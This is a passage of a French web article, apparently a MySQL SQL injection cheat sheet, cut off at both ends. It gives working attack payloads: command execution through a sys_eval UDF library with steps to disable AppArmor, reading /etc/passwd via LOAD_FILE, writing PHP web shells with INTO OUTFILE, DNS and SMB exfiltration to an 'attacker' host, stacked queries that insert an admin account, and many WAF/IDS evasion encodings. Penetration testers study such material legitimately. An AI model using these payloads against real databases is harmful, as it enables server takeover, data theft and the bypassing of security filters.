et v5 :<\/p>\n<p>[sql]SELECT file_priv FROM mysql.user WHERE user = &#8216;username&#8217;;<br \/>\nSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;[\/sql]<\/p>\n<p>Pas de privil\u00e8ge requis (MySQL v5) :<\/p>\n<p>[sql]SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = &#8216;file&#8217; AND grantee like &#8216;%username%&#8217;;<br \/>\nSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;[\/sql]<\/p>\n<p>Privil\u00e8ges sur une base de donn\u00e9es (MySQL v5)\u00a0:<\/p>\n<p>[sql]SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;[\/sql]<\/p>\n<p>Privil\u00e8ges sur les tables et colonnes (MySQL v5)\u00a0:<\/p>\n<p>[sql]SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;[\/sql]<\/p>\n<h2>Ex\u00e9cution de commande sur le serveur<\/h2>\n<p>Les bases de donn\u00e9es MySQL disposent d\u2019une API de d\u00e9veloppement de fonctions utilisateurs. Ces fonctions, nomm\u00e9es UDF pour\u00a0<em>User-Defined Function<\/em>, sont stock\u00e9es compil\u00e9es dans des biblioth\u00e8ques partag\u00e9es (DLL sous Windows et SO sous Linux). Ces biblioth\u00e8ques personnalis\u00e9es n\u00e9cessitent que des prototypes de fonctions pr\u00e9cis soient impl\u00e9ment\u00e9s. Les versions 5 de MySQL ont instaur\u00e9 de nouvelles sp\u00e9cifications quant \u00e0 ces points d\u2019entr\u00e9s.<\/p>\n<p>Pour ex\u00e9cuter des commandes sur un serveur MySQL, il est donc n\u00e9cessaire de cr\u00e9er une biblioth\u00e8que qui renferme une fonction UDF d\u2019ex\u00e9cution de commandes arbitraires. Ce fichier doit \u00eatre plac\u00e9 dans le r\u00e9pertoire des biblioth\u00e8ques MySQL pour \u00eatre charg\u00e9 \u00e0 chaud (\/usr\/lib\/ ou \/usr\/lib\/mysql\/plugin\/ g\u00e9n\u00e9ralement). Une fois la biblioth\u00e8que en place, elle peut \u00eatre utilis\u00e9e directement au travers de requ\u00eates SELECT.<\/p>\n<p>Les premiers PoC exploitant les m\u00e9canismes UDF pour l\u2019obtention d\u2019un shell au travers de MySQL proviennent de\u00a0<a title=\"Marco Ivaldi\" href=\"http:\/\/www.0xdeadbeef.info\/\" target=\"_blank\">Marco Ivaldi<\/a>. Ces PoC (<a title=\"raptor_udf\" href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_udf.c\" target=\"_blank\">raptor_udf<\/a>,\u00a0<a title=\"raptor_udf2\" href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_udf2.c\" target=\"_blank\">raptor_udf2<\/a>,\u00a0<a title=\"raptor_winudf\" href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_winudf.tgz\" target=\"_blank\">raptor_winudf<\/a>) pr\u00e9sentent toutefois deux principales limitations :<\/p>\n<ul>\n<li>Ils ne sont pas conformes aux nouvelles normes UDF de MySQL 5<\/li>\n<li>Ils exploitent la fonction C system(), qui ne fait que retourner le code de retour de la commande ex\u00e9cut\u00e9e.<\/li>\n<\/ul>\n<p>Depuis ces PoC qui datent de 2006, de nouvelles adaptations ont vu le jour, notamment au travers du projet\/d\u00e9p\u00f4t\u00a0<a title=\"MySQL UDF\" href=\"http:\/\/www.mysqludf.org\/\" target=\"_blank\">MySQL User-Defined Functions<\/a>\u00a0maintenu par\u00a0<a title=\"Roland Bouman\" href=\"http:\/\/rpbouman.blogspot.fr\/\" target=\"_blank\">Roland Bouman<\/a>\u00a0et divers contributeurs. Une des biblioth\u00e8ques qui y est pr\u00e9sente se nomme\u00a0<a title=\"lib_mysqludf_sys\" href=\"https:\/\/github.com\/mysqludf\/lib_mysqludf_sys#readme\" target=\"_blank\">lib_mysqludf_sys<\/a>. \u00a0Elle permet l\u2019utilisation de plusieurs fonctions au travers de MySQL, et ce, totalement compatible avec les derni\u00e8res versions de la base de donn\u00e9es. Les fonctions d\u2019int\u00e9r\u00eat sont :<\/p>\n<ul>\n<li>sys_exec() : ex\u00e9cute la commande pass\u00e9e en param\u00e8tre et retourne le code de retour de la commande.<\/li>\n<li>sys_eval() : ex\u00e9cute la commande pass\u00e9e en param\u00e8tre et retourne la sortie standard de la commande. Cette derni\u00e8re se doit \u00e0 la contribution de\u00a0<a title=\"Bernardo Damele\" href=\"http:\/\/bernardodamele.blogspot.fr\/2009\/01\/command-execution-with-mysql-udf.html\" target=\"_blank\">Bernardo Damele<\/a>.<\/li>\n<li>sys_get() : r\u00e9cup\u00e8re la valeur d\u2019une variable d\u2019environnement.<\/li>\n<li>sys_set() :\u00a0d\u00e9fini\u00a0une valeur pour une variable d\u2019environnement.<\/li>\n<\/ul>\n<p>En guise de d\u00e9monstration de l&#8217;utilisation de cette biblioth\u00e8que partag\u00e9e, les\u00a0sc\u00e9narios\u00a0suivants ont \u00e9t\u00e9 r\u00e9alis\u00e9s sur une Ubuntu Server 12.04.2 LTS. Sur un tel serveur, les biblioth\u00e8ques de MySQL sont install\u00e9es par d\u00e9faut dans \/usr\/lib\/mysql\/plugin\/. Pour la cr\u00e9ation de nouvelles biblioth\u00e8ques directement compil\u00e9es sur le serveur, le package &#8220;apt-get install libmysqlclient-dev&#8221; est n\u00e9cessaire.<\/p>\n<p>[bash]<\/p>\n<p>$ wget https:\/\/github.com\/mysqludf\/lib_mysqludf_sys\/archive\/master.zip<br \/>\n$ unzip master.zip<br \/>\n$ cd lib_mysqludf_sys-master\/<br \/>\n$ nano Makefile<\/p>\n<p>LIBDIR=\/usr\/lib\/mysql\/plugin<\/p>\n<p>install:<br \/>\n gcc -fPIC -Wall -I\/usr\/include\/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)\/lib_mysqludf_sys.so<\/p>\n<p>$ sudo .\/install.sh<br \/>\nCompiling the MySQL UDF<br \/>\ngcc -fPIC -Wall -I\/usr\/include\/mysql -I. -shared lib_mysqludf_sys.c -o \/usr\/lib\/mysql\/plugin\/lib_mysqludf_sys.so<br \/>\nMySQL UDF compiled successfully<\/p>\n<p>Please provide your MySQL root password<br \/>\nEnter password:<br \/>\nMySQL UDF installed successfully<\/p>\n<p>[\/bash]<\/p>\n<p>Il est conseill\u00e9 d&#8217;ajouter le flag &#8220;-fPIC&#8221; dans le Makefile. Adapter \u00e9galement le chemin d&#8217;acc\u00e8s LIBDIR en fonction de l&#8217;installation de MySQL courante.<\/p>\n<p>Le -fPIC (<em>Position Independent Code<\/em>) permet la compilation de biblioth\u00e8ques partag\u00e9es, et \u00e9vite ainsi des erreurs du type :<\/p>\n<p>[bash]<\/p>\n<p>$ sudo .\/install.sh<br \/>\nCompiling the MySQL UDF<br \/>\ngcc -Wall -I\/usr\/include\/mysql -I. -shared lib_mysqludf_sys.c -o \/usr\/lib\/mysql\/plugin\/lib_mysqludf_sys.so<br \/>\n\/usr\/bin\/ld: \/tmp\/ccvGSwBo.o: relocation R_X86_64_32 against `.rodata&#8217; can not be used when making a shared object; recompile with -fPIC<br \/>\n\/tmp\/ccvGSwBo.o: could not read symbols: Bad value<br \/>\ncollect2: ld a retourn\u00e9 1 code d&#8217;\u00e9tat d&#8217;ex\u00e9cution<br \/>\nmake: *** [install] Erreur 1<br \/>\nERROR: You need libmysqlclient development software installed<br \/>\nto be able to compile this UDF, on Debian\/Ubuntu just run:<br \/>\napt-get install libmysqlclient15-dev<\/p>\n<p>[\/bash]<\/p>\n<p>Le script d&#8217;auto-installation de la biblioth\u00e8que, install.sh, r\u00e9alise automatiquement la compilation, le placement de la biblioth\u00e8que dans le bon r\u00e9pertoire de MySQL (privil\u00e8ge root n\u00e9cessaire), et ajoute les d\u00e9finitions des fonctions au sein de MySQL (d&#8217;o\u00f9 la demande de mot de passe root MySQL). La d\u00e9claration de ces nouvelles fonctions MySQL se fait par le biais du script automatiquement appel\u00e9 :<\/p>\n<p>[sql]<\/p>\n<p>DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;<br \/>\nDROP FUNCTION IF EXISTS sys_get;<br \/>\nDROP FUNCTION IF EXISTS sys_set;<br \/>\nDROP FUNCTION IF EXISTS sys_exec;<br \/>\nDROP FUNCTION IF EXISTS sys_eval;<\/p>\n<p>CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME &#8216;lib_mysqludf_sys.so&#8217;;<br \/>\nCREATE FUNCTION sys_get RETURNS string SONAME &#8216;lib_mysqludf_sys.so&#8217;;<br \/>\nCREATE FUNCTION sys_set RETURNS int SONAME &#8216;lib_mysqludf_sys.so&#8217;;<br \/>\nCREATE FUNCTION sys_exec RETURNS int SONAME &#8216;lib_mysqludf_sys.so&#8217;;<br \/>\nCREATE FUNCTION sys_eval RETURNS string SONAME &#8216;lib_mysqludf_sys.so&#8217;;<\/p>\n<p>[\/sql]<\/p>\n<p>Une fois la biblioth\u00e8que compil\u00e9e, install\u00e9e, d\u00e9clar\u00e9e et charg\u00e9e, son utilisation est d&#8217;une grande facilit\u00e9 au travers des requ\u00eates SELECT :<\/p>\n<p>[bash]<\/p>\n<p>$ mysql -u root -p mysql<br \/>\nEnter password:<\/p>\n<p>mysql&amp;amp;gt; SELECT sys_eval(&#8216;id&#8217;);<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| sys_eval(&#8216;id&#8217;) |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| uid=106(mysql) gid=114(mysql) groups=114(mysql)<br \/>\n |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n1 row in set (0.01 sec)<\/p>\n<p>mysql&amp;amp;gt; SELECT sys_exec(&#8216;id&#8217;);<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| sys_exec(&#8216;id&#8217;) |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| 0 |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n1 row in set (0.00 sec)<\/p>\n<p>mysql&amp;amp;gt;<\/p>\n<p>[\/bash]<\/p>\n<p>Sur certains environnements, un logiciel de <a title=\"Contr\u00f4le d'acc\u00e8s mandataire\" href=\"https:\/\/fr.wikipedia.org\/wiki\/Contr%C3%B4le_d'acc%C3%A8s_obligatoire\" target=\"_blank\">contr\u00f4le d&#8217;acc\u00e8s mandataire<\/a> bloque l&#8217;utilisation de ces biblioth\u00e8ques (<a title=\"SELinux\" href=\"https:\/\/fr.wikipedia.org\/wiki\/SELinux\" target=\"_blank\">SELinux<\/a> ou <a title=\"AppArmor\" href=\"https:\/\/fr.wikipedia.org\/wiki\/AppArmor\" target=\"_blank\">AppArmor<\/a> par exemple). Ces logiciels confinent l&#8217;ex\u00e9cution de processus\/service pour qu&#8217;ils n&#8217;acc\u00e8dent qu&#8217;aux entit\u00e9s du syst\u00e8me dont ils ont besoin (fichiers, r\u00e9pertoires, sockets, utilisateurs&#8230;). Par d\u00e9faut, ces syst\u00e8mes s\u00e9curisent les logiciels populaires via des profiles pr\u00e9d\u00e9finis, comme c&#8217;est le cas pour MySQL. Il convient donc de d\u00e9sactiver le profile MySQL avant de pouvoir utiliser cette biblioth\u00e8que. Sous Ubuntu Server, AppArmor prot\u00e8ge nativement MySQL :<\/p>\n<p>[bash]<\/p>\n<p>$ apparmor_status # or aa-status<br \/>\napparmor module is loaded.<br \/>\n5 profiles are loaded.<br \/>\n5 profiles are in enforce mode.<br \/>\n \/sbin\/dhclient<br \/>\n \/usr\/lib\/NetworkManager\/nm-dhcp-client.action<br \/>\n \/usr\/lib\/connman\/scripts\/dhclient-script<br \/>\n \/usr\/sbin\/mysqld<br \/>\n \/usr\/sbin\/tcpdump<br \/>\n0 profiles are in complain mode.<br \/>\n2 processes have profiles defined.<br \/>\n2 processes are in enforce mode.<br \/>\n \/sbin\/dhclient (592)<br \/>\n \/usr\/sbin\/mysqld (5875)<br \/>\n0 processes are in complain mode.<br \/>\n0 processes are unconfined but have a profile defined.<\/p>\n<p>$ cat \/sys\/kernel\/security\/apparmor\/profiles<br \/>\n\/usr\/sbin\/mysqld (enforce)<br \/>\n\/usr\/sbin\/tcpdump (enforce)<br \/>\n\/usr\/lib\/connman\/scripts\/dhclient-script (enforce)<br \/>\n\/usr\/lib\/NetworkManager\/nm-dhcp-client.action (enforce)<br \/>\n\/sbin\/dhclient (enforce)<\/p>\n<p>[\/bash]<\/p>\n<p>Si MySQL est prot\u00e9g\u00e9 par un tel logiciel de contr\u00f4le d&#8217;acc\u00e8s mandataire, l&#8217;appel aux fonctions UDF sys_exec() ou sys_eval() ne retourne par les r\u00e9sultats attendus :<\/p>\n<p>[bash]<\/p>\n<p>$ mysql -u root -p mysql<br \/>\nEnter password:<\/p>\n<p>mysql&amp;amp;gt; SELECT sys_eval(&#8216;id&#8217;);<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| sys_eval(&#8216;id&#8217;) |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n1 row in set (0.00 sec)<\/p>\n<p>mysql&amp;amp;gt; SELECT sys_exec(&#8216;id&#8217;);<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| sys_exec(&#8216;id&#8217;) |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| 32512 |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n1 row in set (0.00 sec)<\/p>\n<p>mysql&amp;amp;gt;<\/p>\n<p>[\/bash]<\/p>\n<p>Pour d\u00e9sactiver la surveillance de MySQL :<\/p>\n<p>[bash]<\/p>\n<p>$ sudo ln -s \/etc\/apparmor.d\/usr.sbin.mysqld \/etc\/apparmor.d\/disable\/<br \/>\n$ sudo apparmor_parser -R \/etc\/apparmor.d\/usr.sbin.mysqld<br \/>\n$ aa-status<br \/>\napparmor module is loaded.<br \/>\n4 profiles are loaded.<br \/>\n4 profiles are in enforce mode.<br \/>\n \/sbin\/dhclient<br \/>\n \/usr\/lib\/NetworkManager\/nm-dhcp-client.action<br \/>\n \/usr\/lib\/connman\/scripts\/dhclient-script<br \/>\n \/usr\/sbin\/tcpdump<br \/>\n0 profiles are in complain mode.<br \/>\n1 processes have profiles defined.<br \/>\n1 processes are in enforce mode.<br \/>\n \/sbin\/dhclient (592)<br \/>\n0 processes are in complain mode.<br \/>\n0 processes are unconfined but have a profile defined.<\/p>\n<p>[\/bash]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>La cr\u00e9ation de la biblioth\u00e8que n\u00e9cessite des droits root pour la placer dans le r\u00e9pertoire des biblioth\u00e8ques UDF de MySQL sous un environnement Linux.<\/li>\n<li>Sous Windows, il s&#8217;av\u00e8re plus simple de d\u00e9ployer la biblioth\u00e8que au vu des droits du syst\u00e8me moins\u00a0drastique.<\/li>\n<li>Les assaillants attaquent des serveurs MySQL en pr\u00e9-compilant les biblioth\u00e8ques puis en les cr\u00e9ant \u00e0 la vol\u00e9e sur le syst\u00e8me cible via leur repr\u00e9sentation hexad\u00e9cimale ; directement dans des SQL injections. Voir le paragraphe &#8220;Ecriture de fichier sur le serveur&#8221; de ce m\u00eame dossier.<\/li>\n<li>Le flag gcc -m64 peut \u00eatre n\u00e9cessaire pour compiler la biblioth\u00e8que pour des serveurs 64 bits.<\/li>\n<\/ul>\n<h2>Lecture de fichier du serveur<\/h2>\n<p>Les fichiers locaux du syst\u00e8me peuvent \u00eatre lus au travers de MySQL si l&#8217;utilisateur dispose du privil\u00e8ge &#8220;FILE&#8221;.<\/p>\n<ul>\n<li>LOAD_FILE()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<\/p>\n<p>SELECT LOAD_FILE(&#8216;\/etc\/passwd&#8217;);<br \/>\nSELECT LOAD_FILE(0x2F6574632F706173737764);<\/p>\n<p>[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les fichiers sont n\u00e9cessairement sur le serveur.<\/li>\n<li>Le r\u00e9pertoire de base pour la fonction LOAD_FILE() est @@datadir<\/li>\n<li>Le fichier doit disposer des droits de lecture par l&#8217;utilisateur \u00a0MySQL<\/li>\n<li>La taille du fichier lu doit \u00eatre inf\u00e9rieure \u00e0 max_allowed_packet<\/li>\n<li>La valeur par d\u00e9faut de @@max_allowed_packet vaut 1047552 octets.<\/li>\n<\/ul>\n<h2>\u00c9criture de fichier sur le serveur<\/h2>\n<p>Des fichiers peuvent \u00eatre cr\u00e9\u00e9s sur le serveur seulement si l&#8217;utilisateur dispose du privil\u00e8ge &#8220;FILE&#8221;.<\/p>\n<ul>\n<li>INTO OUTFILE\/DUMPFILE<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT &#8216;&amp;amp;lt;? system($_GET[\\&#8217;c\\&#8217;]); ?&amp;amp;gt;&#8217; INTO OUTFILE &#8216;\/var\/www\/shell.php&#8217;;<br \/>\nSELECT &#8216;&amp;amp;lt;? fwrite(fopen($_GET[f], \\&#8217;w\\&#8217;), file_get_contents($_GET[u])); ?&amp;amp;gt;&#8217; INTO OUTFILE &#8216;\/var\/www\/get.php&#8217;<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les fichiers d\u00e9j\u00e0 existants ne peuvent \u00eatre r\u00e9\u00e9cris avec INTO OUTFILE<\/li>\n<li>INTO OUTFILE doit \u00eatre la derni\u00e8re instruction de la requ\u00eate<\/li>\n<li>Il n&#8217;y a pas de m\u00e9thode connue pour encoder le chemin d&#8217;acc\u00e8s au fichier, ainsi les quotes sont n\u00e9cessaires.<\/li>\n<li>Le r\u00e9pertoire de destination du fichier \u00e0 cr\u00e9er doit disposer des droits n\u00e9cessaires pour la cr\u00e9ation d&#8217;un fichier par l&#8217;utilisateur de MySQL.<\/li>\n<\/ul>\n<h2>Requ\u00eates distantes<\/h2>\n<h3>Requ\u00eates DNS externes<\/h3>\n<p>[sql]SELECT LOAD_FILE(CONCAT(&#8216;\\\\\\\\foo.&#8217;,(select MID(version(),1,1)),&#8217;.bar.com\\\\&#8217;));[\/sql]<\/p>\n<h3>Requ\u00eates Samba<\/h3>\n<p>[sql]&#8217; OR 1=1 INTO OUTFILE &#8216;\\\\\\\\attacker\\\\SMBshare\\\\output.txt[\/sql]<\/p>\n<h2>Requ\u00eates empil\u00e9es<\/h2>\n<p>Les requ\u00eates multiples et empil\u00e9es sont disponibles sous MySQL. Cela d\u00e9pend du driver utilis\u00e9 pour communiquer avec la base de donn\u00e9es.<\/p>\n<p>PDO_MYSQL supporte les requ\u00eates empil\u00e9es ainsi que MySQLi via la fonction multi_query().<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<\/p>\n<p>SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, right) VALUES (&#8216;myLogin&#8217;, &#8216;myPassword&#8217;,&#8217;admin&#8217;);<br \/>\nSELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;<\/p>\n<p>[\/sql]<\/p>\n<h2>Requ\u00eates multi-versions<\/h2>\n<p>MySQL permet de r\u00e9aliser des requ\u00eates uniques destin\u00e9es \u00e0 diff\u00e9rentes versions de la base de donn\u00e9es.<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nUNION SELECT \/*!60000 6,*\/\/*!50000 5,*\/\/*!40000 4,*\/\/*!30000 3,*\/0; &#8212;<br \/>\nSELECT 1\/*!41320UNION\/*!\/*!\/*!00000SELECT\/*!\/*!USER\/*!(\/*!\/*!\/*!*\/);<br \/>\nSELECT \/*!32302 1\/0, *\/ 1 FROM tablename<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le premier exemple retourne toutes les versions inf\u00e9rieures ou \u00e9gale \u00e0 l&#8217;actuelle.<\/li>\n<li>Le second exemple d\u00e9montre la possibilit\u00e9 de bypasser certains WAF\/IDS<\/li>\n<li>Le troisi\u00e8me exemple affiche une erreur de division par 0 si MySQL &gt; 3.23.03<\/li>\n<li>Ce m\u00e9canisme permet de connaitre la version MySQL de mani\u00e8re aveugle.<\/li>\n<\/ul>\n<h2>Obscurcissement de requ\u00eates<\/h2>\n<h3>Caract\u00e8res interm\u00e9diaires de s\u00e9paration<\/h3>\n<p>Le tableau suivant d\u00e9crit les caract\u00e8res hexad\u00e9cimaux utilisables comme un espace blanc.<\/p>\n<table>\n<tbody>\n<tr>\n<td>09<\/td>\n<td>Tabulation horizontale<\/td>\n<\/tr>\n<tr>\n<td>0A<\/td>\n<td>Nouvelle ligne<\/td>\n<\/tr>\n<tr>\n<td>0B<\/td>\n<td>Tabulation verticale<\/td>\n<\/tr>\n<tr>\n<td>0C<\/td>\n<td>Nouvelle page<\/td>\n<\/tr>\n<tr>\n<td>0D<\/td>\n<td>Retour chariot<\/td>\n<\/tr>\n<tr>\n<td>A0<\/td>\n<td>Fin de ligne (<em>Line Feed<\/em>)<\/td>\n<\/tr>\n<tr>\n<td>20<\/td>\n<td>Espace<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]&#8217;%0A%09UNION%0CSELECT%A0NULL%20%23[\/sql]<\/p>\n<p>Les parenth\u00e8ses peuvent \u00e9galement servir de s\u00e9parateur.<\/p>\n<table>\n<tbody>\n<tr>\n<td>28<\/td>\n<td>(<\/td>\n<\/tr>\n<tr>\n<td>29<\/td>\n<td>)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]UNION(SELECT(myColumn)FROM(myTable))[\/sql]<\/p>\n<h3>Caract\u00e8res interm\u00e9diaires pour AND\/OR<\/h3>\n<table>\n<tbody>\n<tr>\n<td>20<\/td>\n<td>Space<\/td>\n<\/tr>\n<tr>\n<td>2B<\/td>\n<td>+<\/td>\n<\/tr>\n<tr>\n<td>2D<\/td>\n<td>&#8211;<\/td>\n<\/tr>\n<tr>\n<td>7E<\/td>\n<td>~<\/td>\n<\/tr>\n<tr>\n<td>21<\/td>\n<td>!<\/td>\n<\/tr>\n<tr>\n<td>40<\/td>\n<td>@<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))[\/sql]<\/p>\n<h3>Obscurcissement via les commentaires<\/h3>\n<p>Les commentaires permettent \u00e9galement de\u00a0d\u00e9structurer la requ\u00eate, avec pour objectif de bypasser les WAF\/IDS. L&#8217;utilisation du caract\u00e8re de nouvelle ligne permet cela.<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<\/p>\n<p>1&#8217;#<br \/>\nAND 0&#8211;<br \/>\nUNION# I am a comment!<br \/>\nSELECT@tmp:=table_name x FROM&#8211;<br \/>\n`information_schema`.tables LIMIT 1#<\/p>\n<p>[\/sql]<\/p>\n<p>Version avec URLEncode :<\/p>\n<p>[sql]1&#8217;%23%0AAND 0&#8211;%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM&#8211;%0A`information_schema`.tables LIMIT 1%23[\/sql]<\/p>\n<p>Les fonctions peuvent\u00a0\u00e9galement\u00a0\u00eatre obscurcies :<\/p>\n<p>[sql]VERSION\/**\/%A0 (\/*comment*\/)[\/sql]<\/p>\n<h3>Encodage<\/h3>\n<p>Le transcodage permet de bypasser certains WAF\/IDS.<\/p>\n<h4>URL Encoding :<\/h4>\n<p>[sql]SELECT %74able_%6eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Double URL Encoding :<\/h4>\n<p>[sql]SELECT %2574able_%256eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Unicode Encoding :<\/h4>\n<p>[sql]SELECT %u0074able_%u6eame FROM information_schema.tables;[\/sql]<\/p>\n<h4>Invalid hex Encoding (ASP only) :<\/h4>\n<p>[sql]SELECT %tab%le_%na%me FROM information_schema.tables;[\/sql]<\/p>\n<h3>\u00c9viter les mots cl\u00e9s<\/h3>\n<p>Certains WAF\/IDS se fondent sur une liste noire de mots-cl\u00e9s \u00e0 blacklister. Il est possible d&#8217;outre-passer ces limitations via certaines syntaxes.<\/p>\n<p><strong>Exemple :<\/strong><\/p>\n<p>[sql]information_schema.tables[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>Spaces<\/td>\n<td>information_schema . tables<\/td>\n<\/tr>\n<tr>\n<td>Backticks<\/td>\n<td>`information_schema`.`tables`<\/td>\n<\/tr>\n<tr>\n<td>Specific Code<\/td>\n<td>\/*!information_schema.tables*\/<\/td>\n<\/tr>\n<tr>\n<td>Alternative Names<\/td>\n<td>information_schema.partitions<br \/>\ninformation_schema.statistics<br \/>\ninformation_schema.key_column_usage<br \/>\ninformation_schema.table_constraints<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les noms alternatifs d\u00e9pendent de la cl\u00e9 primaire pr\u00e9sente dans la table.<\/li>\n<\/ul>\n<h3>Transcodage de cha\u00eenes de caract\u00e8res<\/h3>\n<p>Avec pour objectif de sauter certaines expressions r\u00e9guli\u00e8res de d\u00e9tection des WAF\/IDS.<\/p>\n<ul>\n<li>_charset&#8217;my string&#8217;<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]_utf8&#8217;my string&#8217;<br \/>\n_latin1&#8217;my string&#8217;<br \/>\nN&#8217;my string in unicode'[\/sql]<\/p>\n<h2>Op\u00e9rateurs<\/h2>\n<table>\n<tbody>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/logical-operators.html#operator_and\" target=\"_blank\"><code>AND\u00a0<\/code>,\u00a0<code>&amp;&amp;<\/code><\/a><\/td>\n<td>Logical AND<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/assignment-operators.html#operator_assign-equal\" target=\"_blank\"><code>=<\/code><\/a><\/td>\n<td>Assign a value (as part of a\u00a0<a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/set-statement.html\" target=\"_blank\"><code>SET\u00a0<\/code><\/a>statement, or as part of the\u00a0<code>SET\u00a0<\/code>clause in an\u00a0<a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/update.html\" target=\"_blank\"><code>UPDATE\u00a0<\/code><\/a>statement)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/assignment-operators.html#operator_assign-value\" target=\"_blank\"><code>:=<\/code><\/a><\/td>\n<td>Assign a value<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_between\" target=\"_blank\"><code>BETWEEN ... AND ...<\/code><\/a><\/td>\n<td>Check whether a value is within a range of values<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/cast-functions.html#operator_binary\" target=\"_blank\"><code>BINARY<\/code><\/a><\/td>\n<td>Cast a string to a binary string<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_bitwise-and\" target=\"_blank\"><code>&amp;<\/code><\/a><\/td>\n<td>Bitwise AND<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_bitwise-invert\" target=\"_blank\"><code>~<\/code><\/a><\/td>\n<td>Invert bits<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_bitwise-or\" target=\"_blank\"><code>|<\/code><\/a><\/td>\n<td>Bitwise OR<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_bitwise-xor\" target=\"_blank\"><code>^<\/code><\/a><\/td>\n<td>Bitwise XOR<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/control-flow-functions.html#operator_case\" target=\"_blank\"><code>CASE<\/code><\/a><\/td>\n<td>Case operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_div\" target=\"_blank\"><code>DIV<\/code><\/a><\/td>\n<td>Integer division<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_divide\" 